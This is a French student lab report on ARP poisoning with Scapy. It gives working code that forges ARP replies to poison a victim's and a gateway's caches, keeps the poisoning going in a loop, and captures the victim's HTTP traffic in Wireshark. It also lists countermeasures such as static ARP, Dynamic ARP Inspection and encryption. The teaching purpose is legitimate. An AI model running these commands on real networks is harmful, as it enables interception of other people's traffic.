

COMPTE RENDU – TP5 : ARP Poisoning avec Scapy

1. Préparation – Identification des machines

Les adresses ci-dessous doivent être complétées avec **vos propres valeurs réelles**.

1.1 Machine attaquante – Kali Linux (A)

- Adresse MAC_A : (commande : `ip a` ou `ifconfig`)
- Adresse IP_A : (commande : `ip a`)

1.2 Machine victime – Ubuntu (V)

- Adresse MAC_V : (commande : `ip a`)
- Adresse IP_V : (commande : `ip a`)

1.3 Passerelle du réseau (P)

- Adresse IP_P : (commande : `ip route | grep default`)
- Adresse MAC_P : (commande : `arp -a` ou `ip n`)

2. Mise en place de l'attaque

Étape 1 – Préparation de la machine attaquante (Kali)

Passage en super-utilisateur :

```
sudo -s
```

Activation du routage IP (indispensable pour relayer le trafic entre la victime et la passerelle) :

```
echo 1 > /proc/sys/net/ipv4/ip_forward
```

Vérification de l'activation :

```
cat /proc/sys/net/ipv4/ip_forward
```

La commande doit retourner **1**.

Étape 2 – Lancement de Scapy

Démarrage de Python 3 :

```
python3
```

Importation de Scapy :

```
from scapy.all import *
```

3. Empoisonnement du cache ARP de la victime

Création d'un paquet ARP falsifié à destination de la victime, indiquant que l'adresse MAC de la passerelle correspond à celle de l'attaquant :

```
pv = ARP(  
    op=2,  
    psrc="IP_PASSERELLE",  
    hwsrc="MAC_ATAQUANT",  
    pdst="IP_VICTIME",  
    hwdst="MAC_VICTIME"  
)
```

Exemple avec des adresses fictives :

```
pv = ARP(  
    op=2,  
    psrc="192.168.1.1",  
    hwsrc="00:0c:29:aa:bb:cc",  
    pdst="192.168.1.10",  
    hwdst="00:0c:29:dd:ee:ff"  
)
```

Envoi du paquet :

```
send(pv, verbose=False)
```

Vérification sur la machine victime

```
ip n
```

Observation :

L'adresse MAC associée à l'IP de la passerelle dans le cache ARP de la victime correspond désormais à celle de la machine attaquante.

4. Empoisonnement du cache ARP de la passerelle

Création d'un paquet ARP falsifié à destination de la passerelle, indiquant que l'adresse MAC de la victime est celle de l'attaquant :

```
pp = ARP(  
    op=2,  
    psrc="IP_VICTIME",  
    hwsrc="MAC_ATAQUANT",  
    pdst="IP_PASSERELLE",  
    hwdst="MAC_PASSERELLE"  
)
```

Exemple :

```
pp = ARP(  
    op=2,  
    psrc="192.168.1.10",  
    hwsrc="00:0c:29:aa:bb:cc",  
    pdst="192.168.1.1",  
    hwdst="00:0c:29:11:22:33"  
)
```

Envoi du paquet :

```
send(pp, verbose=False)
```

Vérification sur la passerelle

ip n

Observation :

La passerelle associe désormais l'adresse IP de la victime à l'adresse MAC de l'attaquant.

5. Maintien de l'empoisonnement ARP

Les caches ARP se mettant à jour automatiquement, il est nécessaire de renvoyer régulièrement les paquets malveillants :

```
import time

while True:
    send(pv, verbose=False)
    send(pp, verbose=False)
    time.sleep(2)
```

Cette boucle maintient l'attaque active en envoyant les paquets toutes les deux secondes.

6. Capture et analyse du trafic avec Wireshark

Sur la machine attaquante (Kali), lancement de Wireshark :

```
wireshark
```

- Sélection de l'interface réseau appropriée
- Démarrage de la capture

Sur la machine victime (Ubuntu), navigation vers un site web non chiffré, par exemple :

<http://iut-rt.univ-artois.fr>

Observations dans Wireshark

- Capture des requêtes HTTP de la victime
- Visualisation des requêtes DNS
- Paquets TCP échangés entre la victime et les serveurs web
- Contenu des pages HTTP en clair

 **Capture d'écran à inclure** : affichage des requêtes HTTP (GET), des réponses serveur et des flux TCP interceptés.

7. Test avec une machine Windows

Démarrage d'une machine victime sous Windows.

Commandes de vérification

```
ipconfig /all  
arp -a
```

Création des paquets ARP malveillants adaptés à la machine Windows :

```
pv_win = ARP(op=2, psrc="IP_PASSERELLE", hwsrc="MAC_ATAQUANT",  
             pdst="IP_WINDOWS", hwdst="MAC_WINDOWS")  
  
pp_win = ARP(op=2, psrc="IP_WINDOWS", hwsrc="MAC_ATAQUANT",  
             pdst="IP_PASSERELLE", hwdst="MAC_PASSERELLE")
```

Envoi des paquets :

```
send(pv_win, verbose=False)  
send(pp_win, verbose=False)
```

Observation :

L'attaque fonctionne également sur Windows. Le cache ARP est modifié, ce qui est vérifiable avec `arp -a`.

8. Question 10 – Contre-mesures contre l'ARP poisoning

1. ARP statique

- Association manuelle IP/MAC
- Linux : `arp -s IP MAC`
- Windows : `arp -s IP MAC`
- Avantage : empêche l'empoisonnement
- Inconvénient : peu scalable

2. Dynamic ARP Inspection (DAI)

- Fonctionnalité des switches managés
- Vérifie la cohérence IP/MAC
- S'appuie sur DHCP Snooping

3. Port Security

- Limite le nombre d'adresses MAC par port
- Empêche l'usurpation multiple

4. Outils de détection

- **Arpwatch, ArpON, XArp**
- Surveillance et alertes en cas de modification suspecte

5. Pare-feux et IDS/IPS

- **Snort, Suricata**
- Détection des réponses ARP non sollicitées

6. Segmentation réseau

- Utilisation de VLANs
- Réduction de la surface d'attaque

7. Chiffrement

- HTTPS, SSH, VPN
- Rend les données illisibles même en cas d'interception

9. Synthèse

À l'issue de ce TP, j'ai appris à :

- Comprendre le fonctionnement du protocole ARP et ses failles
- Mettre en œuvre une attaque de type Man-in-the-Middle via ARP poisoning
- Forger des paquets ARP avec Scapy
- Empoisonner les caches ARP d'une victime et d'une passerelle
- Intercepter et analyser le trafic réseau avec Wireshark
- Identifier les principales contre-mesures de sécurité

Ce TP met en évidence l'importance de la sécurisation des réseaux locaux, qui ne doivent jamais être considérés comme intrinsèquement sûrs.

TP5 – ARP Poisoning

Préparation système

- `sudo -s`
Passe en super-utilisateur.
- `echo 1 > /proc/sys/net/ipv4/ip_forward`
Active le routage IP sur la machine attaquante.

Scapy – ARP spoofing

- `from scapy.all import *`
Importe Scapy.
- `pv = ARP(op=2, psrc=IP_P, hwsrc=MAC_A, pdst=IP_V, hwdst=MAC_V)`
Forge une réponse ARP empoisonnant la victime.
- `pp = ARP(op=2, psrc=IP_V, hwsrc=MAC_A, pdst=IP_P, hwdst=MAC_P)`
Forge une réponse ARP empoisonnant la passerelle.
- `send(pv, verbose=False)`
Envoie la réponse ARP vers la victime.
- `send(pp, verbose=False)`
Envoie la réponse ARP vers la passerelle.

Vérifications

- `ip n`
Vérifie le cache ARP sous Linux.
- `ipconfig /all`
Affiche la configuration réseau Windows.
- `arp -a`
Affiche le cache ARP Windows.

Commandes système (Linux)

- **sudo -s** : Passe en super-utilisateur, nécessaire pour manipuler le réseau.
- **ip a** : Affiche les interfaces réseau ainsi que les adresses IP et MAC.
- **ip route | grep default** : Identifie l'adresse IP de la passerelle par défaut.
- **ip n / arp -a** : Affiche le cache ARP de la machine.
- **echo 1 > /proc/sys/net/ipv4/ip_forward** : Active le routage IP pour relayer le trafic.
- **cat /proc/sys/net/ipv4/ip_forward** : Vérifie que l'IP forwarding est bien activé.
- **wireshark** : Lance l'outil de capture et d'analyse de trafic réseau.

Commandes Python / Scapy

- **python3** : Lance l'interpréteur Python.
- **from scapy.all import *** : Importe toutes les fonctionnalités de Scapy.
- **ARP()** : Crée un paquet ARP personnalisable.
- **ARP(op=2)** : Définit une réponse ARP falsifiée (ARP Reply).
- **send(p)** : Envoie un paquet sur le réseau sans attendre de réponse.
- **verbose=False** : Supprime les messages d'affichage lors de l'envoi.
- **while True:** : Crée une boucle infinie pour maintenir l'attaque active.
- **time.sleep(2)** : Espace l'envoi des paquets pour éviter la saturation.

Vérification et tests

- **ip n (victime)** : Permet de vérifier l’empoisonnement du cache ARP.
- **arp -a (Windows)** : Affiche le cache ARP sous Windows.
- **ipconfig /all** : Affiche la configuration réseau complète sous Windows.

Navigation / trafic

- **http://site** : Génère du trafic HTTP non chiffré, visible dans Wireshark.
- **DNS / HTTP / TCP** : Protocoles observables pendant l’attaque MITM.

Contre-mesures (commandes associées)

- **arp -s IP MAC** : Définit une entrée ARP statique pour empêcher l’empoisonnement.
- **HTTPS / SSH / VPN** : Chiffre les communications pour protéger les données.

À retenir absolument

- **ARP est un protocole non sécurisé** → vulnérable à l’usurpation.
- **L’attaquant devient Man-in-the-Middle** entre la victime et la passerelle.
- **Le chiffrement reste la meilleure protection** contre l’interception.